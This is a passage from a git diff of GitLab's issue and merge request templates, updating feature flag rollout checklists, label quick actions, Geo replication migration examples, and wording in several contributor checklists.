+- [ ] [Confirm that end-to-end tests pass with the feature flag enabled](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/feature_flags.html#confirming-that-end-to-end-tests-pass-with-a-feature-flag-enabled). If there are failing tests, contact the relevant [stable counterpart in the Quality department](https://about.gitlab.com/handbook/engineering/quality/#individual-contributors) to collaborate in updating the tests or confirming that the failing tests are not caused by the changes behind the enabled feature flag.
- [ ] Enable on staging (`/chatops run feature set <experiment-key> true --staging`)
- [ ] Test on staging
- [ ] Ensure that documentation has been updated
diff --git a/.gitlab/issue_templates/Feature Flag Roll Out.md b/.gitlab/issue_templates/Feature Flag Roll Out.md
index bc1a23729e2..86f356daf90 100644
--- a/.gitlab/issue_templates/Feature Flag Roll Out.md
+++ b/.gitlab/issue_templates/Feature Flag Roll Out.md
@@ -94,10 +94,7 @@ _Consider adding links to check for Sentry errors, Production logs for 5xx, 302s
### Global rollout on production
-For visibility, all `/chatops` commands that target production should be:
-
-- Executed in the `#production` slack channel.
-- Cross-posted (with the command results) to the responsible team's slack channel (`#g_TEAM_NAME`).
+For visibility, all `/chatops` commands that target production should be executed in the `#production` slack channel and cross-posted (with the command results) to the responsible team's slack channel (`#g_TEAM_NAME`).
- [ ] [Incrementally roll out](https://docs.gitlab.com/ee/development/feature_flags/controls.html#process) the feature.
- If the feature flag in code has [an actor](https://docs.gitlab.com/ee/development/feature_flags/#feature-actors), perform **actor-based** rollout.
diff --git a/.gitlab/issue_templates/Feature Proposal - basic.md b/.gitlab/issue_templates/Feature Proposal - basic.md
index 980751621f0..b16b5910b72 100644
--- a/.gitlab/issue_templates/Feature Proposal - basic.md
+++ b/.gitlab/issue_templates/Feature Proposal - basic.md
@@ -13,4 +13,6 @@ Use the following resources to find the appropriate labels:
- https://about.gitlab.com/handbook/product/categories/features/
-->
-/label ~"type::feature" ~feature::addition ~"group::" ~"section::" ~"Category:" ~"GitLab Core"/~"GitLab Premium"/~"GitLab Ultimate"
+/label ~"group::" ~"section::" ~"Category::"
+/label ~"GitLab Free" ~"GitLab Premium" ~"GitLab Ultimate"
+/label ~"type::feature" ~"feature::addition" ~documentation
diff --git a/.gitlab/issue_templates/Feature Proposal - lean.md b/.gitlab/issue_templates/Feature Proposal - lean.md
index 504bfbb03d8..c5255315373 100644
--- a/.gitlab/issue_templates/Feature Proposal - lean.md
+++ b/.gitlab/issue_templates/Feature Proposal - lean.md
@@ -40,7 +40,7 @@ Personas are described at https://about.gitlab.com/handbook/marketing/product-ma
### Metrics
-<!-- How are you going to track uage of this feature? Think about user behavior and their interaction with the product. What indicates someone is getting value from it?
+<!-- How are you going to track usage of this feature? Think about user behavior and their interaction with the product. What indicates someone is getting value from it?
Create tracking issue using the Snowplow event tracking template. See https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Snowplow%20event%20tracking.md
@@ -52,4 +52,7 @@ Use the following resources to find the appropriate labels:
- https://about.gitlab.com/handbook/product/categories/features/
-->
-/label ~"type::feature" ~"group::" ~"section::" ~"Category::" ~"GitLab Free"/~"GitLab Premium"/~"GitLab Ultimate" ~documentation ~direction
+/label ~"type::feature"
+/label ~"group::" ~"section::" ~"Category::"
+/label ~"GitLab Free" ~"GitLab Premium" ~"GitLab Ultimate"
+/label ~documentation ~direction
diff --git a/.gitlab/issue_templates/Feature proposal - detailed.md b/.gitlab/issue_templates/Feature proposal - detailed.md
index c787fc99333..f75ee08bfcb 100644
--- a/.gitlab/issue_templates/Feature proposal - detailed.md
+++ b/.gitlab/issue_templates/Feature proposal - detailed.md
@@ -118,6 +118,6 @@ Use the following resources to find the appropriate labels:
- https://gitlab.com/gitlab-org/gitlab/-/labels
- https://about.gitlab.com/handbook/product/categories/features/
-->
-/label ~devops:: ~group: ~Category:
-/label ~"GitLab Free"/~"GitLab Premium"/~"GitLab Ultimate"
+/label ~"group::" ~"section::" ~"Category::"
+/label ~"GitLab Free" ~"GitLab Premium" ~"GitLab Ultimate"
/label ~"type::feature" ~documentation ~direction
diff --git a/.gitlab/issue_templates/Fulfillment Group UX Issue.md b/.gitlab/issue_templates/Fulfillment Group UX Issue.md
new file mode 100644
index 00000000000..97f3782c4df
--- /dev/null
+++ b/.gitlab/issue_templates/Fulfillment Group UX Issue.md
@@ -0,0 +1,58 @@
+<!-- This issue template can be used as a starting point for a UX Issue. This is not a feature request, rather an issue that is being created for a product designer to solve a problem.
+
+The goal of this template is to ensure we have captured all the information available to the product designer so they can approach the problem creatively and efficiently. Please add links to SSOT if this informatin exists elsewhere. -->
+
+### Who will use this solution?
+
+<!-- If known, include any of the following: types of users (e.g. Developer), personas, or specific company roles (e.g. Release Manager). It's okay to write "Unknown" and fill this field in later.
+
+Personas are described at https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/
+
+* [Cameron (Compliance Manager)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#cameron-compliance-manager)
+* [Parker (Product Manager)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#parker-product-manager)
+* [Delaney (Development Team Lead)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#delaney-development-team-lead)
+* [Presley (Product Designer)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#presley-product-designer)
+* [Sasha (Software Developer)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#sasha-software-developer)
+* [Devon (DevOps Engineer)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#devon-devops-engineer)
+* [Sidney (Systems Administrator)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#sidney-systems-administrator)
+* [Sam (Security Analyst)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#sam-security-analyst)
+* [Rachel (Release Manager)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#rachel-release-manager)
+* [Alex (Security Operations Engineer)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#alex-security-operations-engineer)
+* [Simone (Software Engineer in Test)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#simone-software-engineer-in-test)
+* [Allison (Application Ops)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#allison-application-ops)
+* [Priyanka (Platform Engineer)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#priyanka-platform-engineer)
+* [Dana (Data Analyst)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#dana-data-analyst)
+* [Eddie (Content Editor)](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#eddie-content-editor)
+
+-->
+
+
+### What problem do they have?
+
+
+### When do they have the problem?
+
+
+### Where in the app do they have the problem and at what frequency (if known)?
+
+
+### Why will a design help them?
+
+
+### What is the JTBD and/or Tasks?
+
+
+### Is this problem supported by user research (please link relevant research issue/s)?
+
+
+### Known technical constraints
+
+
+### How does this help the business?
+
+
+
+
+
+/label ~"group::" ~"section::" ~"Category::" ~UX
+
diff --git a/.gitlab/issue_templates/Geo Replicate a new Git repository type.md b/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
index 71a962d1789..f4f70a38a27 100644
--- a/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
+++ b/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
@@ -56,9 +56,7 @@ Geo secondary sites have a [Geo tracking database](https://gitlab.com/gitlab-org
```ruby
# frozen_string_literal: true
- class CreateCoolWidgetRegistry < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
+ class CreateCoolWidgetRegistry < Gitlab::Database::Migration[1.0]
disable_ddl_transaction!
def up
@@ -80,8 +78,8 @@ Geo secondary sites have a [Geo tracking database](https://gitlab.com/gitlab-org
t.boolean :missing_on_primary, default: false, null: false
t.binary :verification_checksum
t.binary :verification_checksum_mismatched
- t.string :verification_failure, limit: 255 # rubocop:disable Migration/PreventStrings see https://gitlab.com/gitlab-org/gitlab/-/issues/323806
- t.string :last_sync_failure, limit: 255 # rubocop:disable Migration/PreventStrings see https://gitlab.com/gitlab-org/gitlab/-/issues/323806
+ t.text :verification_failure, limit: 255
+ t.text :last_sync_failure, limit: 255
t.index :cool_widget_id, name: :index_cool_widget_registry_on_cool_widget_id, unique: true
t.index :retry_at
@@ -126,9 +124,7 @@ The Geo primary site needs to checksum every replicable so secondaries can verif
```ruby
# frozen_string_literal: true
- class CreateCoolWidgetStates < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
+ class CreateCoolWidgetStates < Gitlab::Database::Migration[1.0]
VERIFICATION_STATE_INDEX_NAME = "index_cool_widget_states_on_verification_state"
PENDING_VERIFICATION_INDEX_NAME = "index_cool_widget_states_pending_verification"
FAILED_VERIFICATION_INDEX_NAME = "index_cool_widget_states_failed_verification"
@@ -137,27 +133,23 @@ The Geo primary site needs to checksum every replicable so secondaries can verif
disable_ddl_transaction!
def up
- unless table_exists?(:cool_widget_states)
- with_lock_retries do
- create_table :cool_widget_states, id: false do |t|
- t.references :cool_widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
- t.integer :verification_state, default: 0, limit: 2, null: false
- t.column :verification_started_at, :datetime_with_timezone
- t.datetime_with_timezone :verification_retry_at
- t.datetime_with_timezone :verified_at
- t.integer :verification_retry_count, limit: 2
- t.binary :verification_checksum, using: 'verification_checksum::bytea'
- t.text :verification_failure
-
- t.index :verification_state, name: VERIFICATION_STATE_INDEX_NAME
- t.index :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
- t.index :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
- t.index :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
- end
+ with_lock_retries do
+ create_table :cool_widget_states, id: false do |t|
+ t.references :cool_widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
+ t.datetime_with_timezone :verification_retry_at
+ t.datetime_with_timezone :verified_at
+ t.integer :verification_retry_count, limit: 2
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+ t.text :verification_failure, limit: 255
+
+ t.index :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ t.index :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ t.index :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ t.index :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
end
end
-
- add_text_limit :cool_widget_states, :verification_failure, 255
end
def down
@@ -209,6 +201,8 @@ That's all of the required database changes.
has_one :cool_widget_state, autosave: false, inverse_of: :cool_widget, class_name: 'Geo::CoolWidgetState'
+ after_save :save_verification_details
+
delegate :verification_retry_at, :verification_retry_at=,
:verified_at, :verified_at=,
:verification_checksum, :verification_checksum=,
@@ -223,6 +217,8 @@ That's all of the required database changes.
scope :checksummed, -> { joins(:cool_widget_state).where.not(cool_widget_states: { verification_checksum: nil } ) }
scope :not_checksummed, -> { joins(:cool_widget_state).where(cool_widget_states: { verification_checksum: nil } ) }
+ scope :available_verifiables, -> { joins(:cool_widget_state) }
+
# Override the `all` default if not all records can be replicated. For an
# example of an existing Model that needs to do this, see
# `EE::MergeRequestDiff`.
@@ -358,10 +354,11 @@ That's all of the required database changes.
- [ ] Make sure a Geo secondary site can replicate Cool Widgets where repository does not exist on the Geo primary site. The only way to know about this is to parse the error text. You may need to make some changes to `Gitlab::CoolWidgetReplicator.no_repo_message` to return the proper error message. For example, see [this change for Group-level Wikis](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74133).
-- [ ] Generate the feature flag definition file by running the feature flag command and following the command prompts:
+- [ ] Generate the feature flag definition files by running the feature flag commands and following the command prompts:
```shell
bin/feature-flag --ee geo_cool_widget_replication --type development --group 'group::geo'
+ bin/feature-flag --ee geo_cool_widget_verification --type development --group 'group::geo'
```
- [ ] Add this replicator class to the method `replicator_classes` in
@@ -494,6 +491,9 @@ That's all of the required database changes.
self.primary_key = :cool_widget_id
belongs_to :cool_widget, inverse_of: :cool_widget_state
+
+ validates :verification_failure, length: { maximum: 255 }
+ validates :verification_state, :cool_widget, presence: true
end
end
```
diff --git a/.gitlab/issue_templates/Geo Replicate a new blob type.md b/.gitlab/issue_templates/Geo Replicate a new blob type.md
index 7c927e79e93..57652bd903a 100644
--- a/.gitlab/issue_templates/Geo Replicate a new blob type.md
+++ b/.gitlab/issue_templates/Geo Replicate a new blob type.md
@@ -58,42 +58,38 @@ Geo secondary sites have a [Geo tracking database](https://gitlab.com/gitlab-org
```ruby
# frozen_string_literal: true
- class CreateCoolWidgetRegistry < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
+ class CreateCoolWidgetRegistry < Gitlab::Database::Migration[1.0]
disable_ddl_transaction!
def up
- unless table_exists?(:cool_widget_registry)
- ActiveRecord::Base.transaction do
- create_table :cool_widget_registry, id: :bigserial, force: :cascade do |t|
- t.bigint :cool_widget_id, null: false
- t.datetime_with_timezone :created_at, null: false
- t.datetime_with_timezone :last_synced_at
- t.datetime_with_timezone :retry_at
- t.datetime_with_timezone :verified_at
- t.datetime_with_timezone :verification_started_at
- t.datetime_with_timezone :verification_retry_at
- t.integer :state, default: 0, null: false, limit: 2
- t.integer :verification_state, default: 0, null: false, limit: 2
- t.integer :retry_count, default: 0, limit: 2, null: false
- t.integer :verification_retry_count, default: 0, limit: 2, null: false
- t.boolean :checksum_mismatch, default: false, null: false
- t.binary :verification_checksum
- t.binary :verification_checksum_mismatched
- t.string :verification_failure, limit: 255 # rubocop:disable Migration/PreventStrings see https://gitlab.com/gitlab-org/gitlab/-/issues/323806
- t.string :last_sync_failure, limit: 255 # rubocop:disable Migration/PreventStrings see https://gitlab.com/gitlab-org/gitlab/-/issues/323806
-
- t.index :cool_widget_id, name: :index_cool_widget_registry_on_cool_widget_id, unique: true
- t.index :retry_at
- t.index :state
- # To optimize performance of CoolWidgetRegistry.verification_failed_batch
- t.index :verification_retry_at, name: :cool_widget_registry_failed_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 3))"
- # To optimize performance of CoolWidgetRegistry.needs_verification_count
- t.index :verification_state, name: :cool_widget_registry_needs_verification, where: "((state = 2) AND (verification_state = ANY (ARRAY[0, 3])))"
- # To optimize performance of CoolWidgetRegistry.verification_pending_batch
- t.index :verified_at, name: :cool_widget_registry_pending_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 0))"
- end
+ ActiveRecord::Base.transaction do
+ create_table :cool_widget_registry, id: :bigserial, force: :cascade do |t|
+ t.bigint :cool_widget_id, null: false
+ t.datetime_with_timezone :created_at, null: false
+ t.datetime_with_timezone :last_synced_at
+ t.datetime_with_timezone :retry_at
+ t.datetime_with_timezone :verified_at
+ t.datetime_with_timezone :verification_started_at
+ t.datetime_with_timezone :verification_retry_at
+ t.integer :state, default: 0, null: false, limit: 2
+ t.integer :verification_state, default: 0, null: false, limit: 2
+ t.integer :retry_count, default: 0, limit: 2, null: false
+ t.integer :verification_retry_count, default: 0, limit: 2, null: false
+ t.boolean :checksum_mismatch, default: false, null: false
+ t.binary :verification_checksum
+ t.binary :verification_checksum_mismatched
+ t.text :verification_failure, limit: 255
+ t.text :last_sync_failure, limit: 255
+
+ t.index :cool_widget_id, name: :index_cool_widget_registry_on_cool_widget_id, unique: true
+ t.index :retry_at
+ t.index :state
+ # To optimize performance of CoolWidgetRegistry.verification_failed_batch
+ t.index :verification_retry_at, name: :cool_widget_registry_failed_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 3))"
+ # To optimize performance of CoolWidgetRegistry.needs_verification_count
+ t.index :verification_state, name: :cool_widget_registry_needs_verification, where: "((state = 2) AND (verification_state = ANY (ARRAY[0, 3])))"
+ # To optimize performance of CoolWidgetRegistry.verification_pending_batch
+ t.index :verified_at, name: :cool_widget_registry_pending_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 0))"
end
end
end
@@ -130,9 +126,7 @@ The Geo primary site needs to checksum every replicable so secondaries can verif
```ruby
# frozen_string_literal: true
- class CreateCoolWidgetStates < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
+ class CreateCoolWidgetStates < Gitlab::Database::Migration[1.0]
VERIFICATION_STATE_INDEX_NAME = "index_cool_widget_states_on_verification_state"
PENDING_VERIFICATION_INDEX_NAME = "index_cool_widget_states_pending_verification"
FAILED_VERIFICATION_INDEX_NAME = "index_cool_widget_states_failed_verification"
@@ -141,27 +135,23 @@ The Geo primary site needs to checksum every replicable so secondaries can verif
disable_ddl_transaction!
def up
- unless table_exists?(:cool_widget_states)
- with_lock_retries do
- create_table :cool_widget_states, id: false do |t|
- t.references :cool_widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
- t.integer :verification_state, default: 0, limit: 2, null: false
- t.column :verification_started_at, :datetime_with_timezone
- t.datetime_with_timezone :verification_retry_at
- t.datetime_with_timezone :verified_at
- t.integer :verification_retry_count, limit: 2
- t.binary :verification_checksum, using: 'verification_checksum::bytea'
- t.text :verification_failure
-
- t.index :verification_state, name: VERIFICATION_STATE_INDEX_NAME
- t.index :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
- t.index :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
- t.index :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
- end
+ with_lock_retries do
+ create_table :cool_widget_states, id: false do |t|
+ t.references :cool_widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
+ t.datetime_with_timezone :verification_retry_at
+ t.datetime_with_timezone :verified_at
+ t.integer :verification_retry_count, limit: 2
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+ t.text :verification_failure, limit: 255
+
+ t.index :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ t.index :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ t.index :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ t.index :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
end
end
-
- add_text_limit :cool_widget_states, :verification_failure, 255
end
def down
@@ -201,7 +191,7 @@ That's all of the required database changes.
```ruby
# frozen_string_literal: true
-
+
class CoolWidget < ApplicationRecord
...
include ::Gitlab::Geo::ReplicableModel
@@ -213,6 +203,8 @@ That's all of the required database changes.
has_one :cool_widget_state, autosave: false, inverse_of: :cool_widget, class_name: 'Geo::CoolWidgetState'
+ after_save :save_verification_details
+
delegate :verification_retry_at, :verification_retry_at=,
:verified_at, :verified_at=,
:verification_checksum, :verification_checksum=,
@@ -227,6 +219,8 @@ That's all of the required database changes.
scope :checksummed, -> { joins(:cool_widget_state).where.not(cool_widget_states: { verification_checksum: nil } ) }
scope :not_checksummed, -> { joins(:cool_widget_state).where(cool_widget_states: { verification_checksum: nil } ) }
+ scope :available_verifiables, -> { joins(:cool_widget_state) }
+
# Override the `all` default if not all records can be replicated. For an
# example of an existing Model that needs to do this, see
# `EE::MergeRequestDiff`.
@@ -326,10 +320,11 @@ That's all of the required database changes.
end
```
-- [ ] Generate the feature flag definition file by running the feature flag command and following the command prompts:
+- [ ] Generate the feature flag definition fileы by running the feature flag commands and following the command prompts:
```shell
bin/feature-flag --ee geo_cool_widget_replication --type development --group 'group::geo'
+ bin/feature-flag --ee geo_cool_widget_verification --type development --group 'group::geo'
```
- [ ] Add this replicator class to the method `replicator_classes` in
@@ -460,6 +455,9 @@ That's all of the required database changes.
self.primary_key = :cool_widget_id
belongs_to :cool_widget, inverse_of: :cool_widget_state
+
+ validates :verification_failure, length: { maximum: 255 }
+ validates :verification_state, :cool_widget, presence: true
end
end
```
diff --git a/.gitlab/issue_templates/Snowplow event tracking.md b/.gitlab/issue_templates/Snowplow event tracking.md
index ee8755d3292..3dfef73f973 100644
--- a/.gitlab/issue_templates/Snowplow event tracking.md
+++ b/.gitlab/issue_templates/Snowplow event tracking.md
@@ -18,7 +18,7 @@ We generally recommend events be tracked using a [structured event](https://docs
* Action: A string that is used to define the user action. The first word should always describe the action or aspect: clicks should be `click`, activations should be `activate`, creations should be `create`, etc. Use underscores to describe what was acted on; for example, activating a form field would be `activate_form_input`. An interface action like clicking on a dropdown would be `click_dropdown`, while a behavior like creating a project record from the backend would be `create_project`
* Label: Optional. The specific element, or object that's being acted on. This is either the label of the element (e.g. a tab labeled 'Create from template' may be `create_from_template`) or a unique identifier if no text is available (e.g. closing the Groups dropdown in the top navbar might be `groups_dropdown_close`), or it could be the name or title attribute of a record being created.
* Property: Optional. Any additional property of the element, or object being acted on.
-* Value: Optional, numeric. Describes a numeric value or something directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility)
+* Value: Optional, numeric. Describes a numeric value (decimal) directly related to the event. This could be the value of an input (e.g. `10` when clicking `internal` visibility)
| Category | Action | Label | Property | Feature Issue | Additional Information |
| ------ | ------ | ------ | ------ | ------ | ------ |
diff --git a/.gitlab/merge_request_templates/Change Documentation Location.md b/.gitlab/merge_request_templates/Change Documentation Location.md
index 623d1597744..36678c44d70 100644
--- a/.gitlab/merge_request_templates/Change Documentation Location.md
+++ b/.gitlab/merge_request_templates/Change Documentation Location.md
@@ -24,7 +24,7 @@ https://docs.gitlab.com/ee/development/documentation/index.html#move-or-rename-a
specifically under the `app/views/` and `ee/app/views` (for GitLab EE) directories.
- [ ] Make sure to add [`redirect_from`](https://docs.gitlab.com/ee/development/documentation/index.html#redirections-for-pages-with-disqus-comments)
to the new document if there are any Disqus comments on the old document thread.
-- [ ] Update the link in `features.yml` (if applicable)
+- [ ] Update the link in `features.yml` (if applicable).
- [ ] Assign one of the technical writers for review.
/label ~documentation ~"Technical Writing"
diff --git a/.gitlab/merge_request_templates/Deprecations.md b/.gitlab/merge_request_templates/Deprecations.md
index 1449246b9bc..1cadf54ff1d 100644
--- a/.gitlab/merge_request_templates/Deprecations.md
+++ b/.gitlab/merge_request_templates/Deprecations.md
@@ -1,6 +1,6 @@
<!-- Set the correct label and milestone using autocomplete for guidance. Please @mention only the DRI(s) for each stage or group rather than an entire department. -->
-/label ~"release post" ~"release post item" ~"Technical Writing" ~"devops::" ~"group::"
+/label ~"release post" ~"release post item" ~"Technical Writing" ~"devops::" ~"group::" ~"release post item::deprecation"
/milestone %
/assign `@PM`
@@ -41,7 +41,7 @@ They are frequently updated, and everyone should make sure they are aware of the
## Reviewers
-When the content is ready for review, it must be reviewed by Technical Writer and Engineering Manager, but can also be reviewed by
+When the content is ready for review, it must be reviewed by a Technical Writer and Engineering Manager, but can also be reviewed by
Product Marketing, Product Design, and the Product Leaders for this area. Please use the
[Reviewers for Merge Requests](https://docs.gitlab.com/ee/user/project/merge_requests/getting_started#reviewer)
feature for all reviews. Reviewers will then `approve` the MR and remove themselves from Reviewers when their review is complete.
@@ -61,7 +61,7 @@ as needed, @ message the PM to inform them the first review is complete, and rem
yourself as a reviewer if it's not ready for merge yet.
<details>
-<summary>Expand for Details </summary>
+<summary>Expand for Details</summary>
- [ ] Title:
- Length limit: 7 words (not including articles or prepositions).
diff --git a/.gitlab/merge_request_templates/Documentation.md b/.gitlab/merge_request_templates/Documentation.md
index 893ae7b93b5..d3ea9682d34 100644
--- a/.gitlab/merge_request_templates/Documentation.md
+++ b/.gitlab/merge_request_templates/Documentation.md
@@ -8,7 +8,7 @@
## Author's checklist
-- [ ] Consider taking [the GitLab Technical Writing Fundamentals course](https://gitlab.edcast.com/pathways/ECL-02528ee2-c334-4e16-abf3-e9d8b8260de4)
+- [ ] Consider taking [the GitLab Technical Writing Fundamentals course](https://gitlab.edcast.com/pathways/ECL-02528ee2-c334-4e16-abf3-e9d8b8260de4).
- [ ] Follow the:
- [Documentation process](https://docs.gitlab.com/ee/development/documentation/workflow.html).
- [Documentation guidelines](https://docs.gitlab.com/ee/development/documentation/).
@@ -20,7 +20,6 @@
If you are only adding documentation, do not add any of the following labels:
-- `~"type::feature"`
- `~"frontend"`
- `~"backend"`
- `~"type::bug"`
@@ -41,8 +40,8 @@ Documentation-related MRs should be reviewed by a Technical Writer for a non-blo
- [ ] The headings (other than the page title) should be active. Instead of `Configuring GDK`, say something like `Configure GDK`.
- [ ] Any task steps should be written as a numbered list.
- If the content still needs to be edited for topic types, you can create a follow-up issue with the ~"docs-technical-debt" label.
-- [ ] Review by assigned maintainer, who can always request/require the above reviews. Maintainer's review can occur before or after a technical writer review.
+- [ ] Review by assigned maintainer, who can always request/require the reviews above. Maintainer's review can occur before or after a technical writer review.
- [ ] Ensure a release milestone is set.
-/label ~documentation
+/label ~documentation ~"type::maintenance"
/assign me
diff --git a/.gitlab/merge_request_templates/New End To End Test.md b/.gitlab/merge_request_templates/New End To End Test.md
index 9ecf8999f66..4c42b324553 100644
--- a/.gitlab/merge_request_templates/New End To End Test.md
+++ b/.gitlab/merge_request_templates/New End To End Test.md
@@ -4,7 +4,7 @@
Please link to the respective test case in the testcases project
-->
-### Check-list
+### Checklist
- [ ] Confirm the test has a [`testcase:` tag linking to an existing test case](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/best_practices.html#link-a-test-to-its-test-case-issue) in the test case project.
- [ ] Note if the test is intended to run in specific scenarios. If a scenario is new, add a link to the MR that adds the new scenario.
@@ -15,7 +15,7 @@ Please link to the respective test case in the testcases project
- [ ] Verify the tags to ensure it runs on the desired test environments.
- [ ] If this MR has a dependency on another MR, such as a GitLab QA MR, specify the order in which the MRs should be merged.
- [ ] (If applicable) Create a follow-up issue to document [the special setup](https://docs.gitlab.com/ee/development/testing_guide/end_to_end/running_tests_that_require_special_setup.html) necessary to run the test: ISSUE_LINK
-- [ ] If the test requires an admin's personal access token, ensure that the test passes on your local with and without the `GITLAB_QA_ADMIN_ACCESS_TOKEN` provided.
+- [ ] If the test requires an admin's personal access token, ensure that the test passes on your local environment with and without the `GITLAB_QA_ADMIN_ACCESS_TOKEN` provided.
<!-- Base labels. -->
/label ~"Quality" ~"QA" ~test
diff --git a/.gitlab/merge_request_templates/New Static Analysis Check.md b/.gitlab/merge_request_templates/New Static Analysis Check.md
index 66041a784e8..6ad56cd5cd0 100644
--- a/.gitlab/merge_request_templates/New Static Analysis Check.md
+++ b/.gitlab/merge_request_templates/New Static Analysis Check.md
@@ -12,20 +12,20 @@ Please describe the proposal and add a link to the source (for example, http://w
### Check-list
- [ ] Make sure this MR enables a static analysis check rule for new usage but
- ignores current offenses
-- [ ] Mention this proposal in the relevant Slack channels (e.g. `#development`, `#backend`, `#frontend`)
+ ignores current offenses.
+- [ ] Mention this proposal in the relevant Slack channels (e.g. `#development`, `#backend`, `#frontend`).
- [ ] If there is a choice to make between two potential styles, set up an emoji vote in the MR:
- CHOICE_A: :a:
- CHOICE_B: :b:
- - Vote yourself for both choices so that people know these are the choices
-- [ ] The MR doesn't have significant objections, and is getting a majority of :+1: vs :-1: (remember that [we don't need to reach a consensus](https://about.gitlab.com/handbook/values/#collaboration-is-not-consensus))
-- [ ] (If applicable) One style is getting a majority of vote (compared to the other choice)
-- [ ] (If applicable) Update the MR with the chosen style
+ - Vote for both choices, so they are visible to others.
+- [ ] The MR doesn't have significant objections, and is getting a majority of :+1: vs :-1: (remember that [we don't need to reach a consensus](https://about.gitlab.com/handbook/values/#collaboration-is-not-consensus)).
+- [ ] (If applicable) One style is getting a majority of vote (compared to the other choice).
+- [ ] (If applicable) Update the MR with the chosen style.
- [ ] Create a follow-up issue to fix the current offenses as a separate iteration: ISSUE_LINK
-- [ ] Follow the [review process](https://docs.gitlab.com/ee/development/code_review.html) as usual
+- [ ] Follow the [review process](https://docs.gitlab.com/ee/development/code_review.html) as usual.
- [ ] Once approved and merged by a maintainer, mention it again:
- - [ ] In the relevant Slack channels (e.g. `#development`, `#backend`, `#frontend`)
- - [ ] (Optional depending on the impact of the change) In the Engineering Week in Review
+ - [ ] In the relevant Slack channels (e.g. `#development`, `#backend`, `#frontend`).
+ - [ ] (Optional depending on the impact of the change) In the Engineering Week in Review.
/label ~"Engineering Productivity" ~"development guidelines" ~"static code analysis"
diff --git a/.gitlab/merge_request_templates/Pipeline Configuration.md b/.gitlab/merge_request_templates/Pipeline Configuration.md
index 62210028c18..a0b8d1cb8e4 100644
--- a/.gitlab/merge_request_templates/Pipeline Configuration.md
+++ b/.gitlab/merge_request_templates/Pipeline Configuration.md
@@ -9,7 +9,7 @@
<!-- Link related issues below. -->
-## Check-list
+## Checklist
### Pre-merge
diff --git a/.gitlab/merge_request_templates/Quarantine End to End Test.md b/.gitlab/merge_request_templates/Quarantine End to End Test.md
index 4caebb7f1bb..a8d2378eee0 100644
--- a/.gitlab/merge_request_templates/Quarantine End to End Test.md
+++ b/.gitlab/merge_request_templates/Quarantine End to End Test.md
@@ -19,14 +19,14 @@ the noise (due to constantly failing tests, flaky tests, and so on) so that new
- [ ] [Code review guidelines](https://docs.gitlab.com/ee/development/code_review.html)
- [ ] [Style guides](https://docs.gitlab.com/ee/development/contributing/style_guides.html)
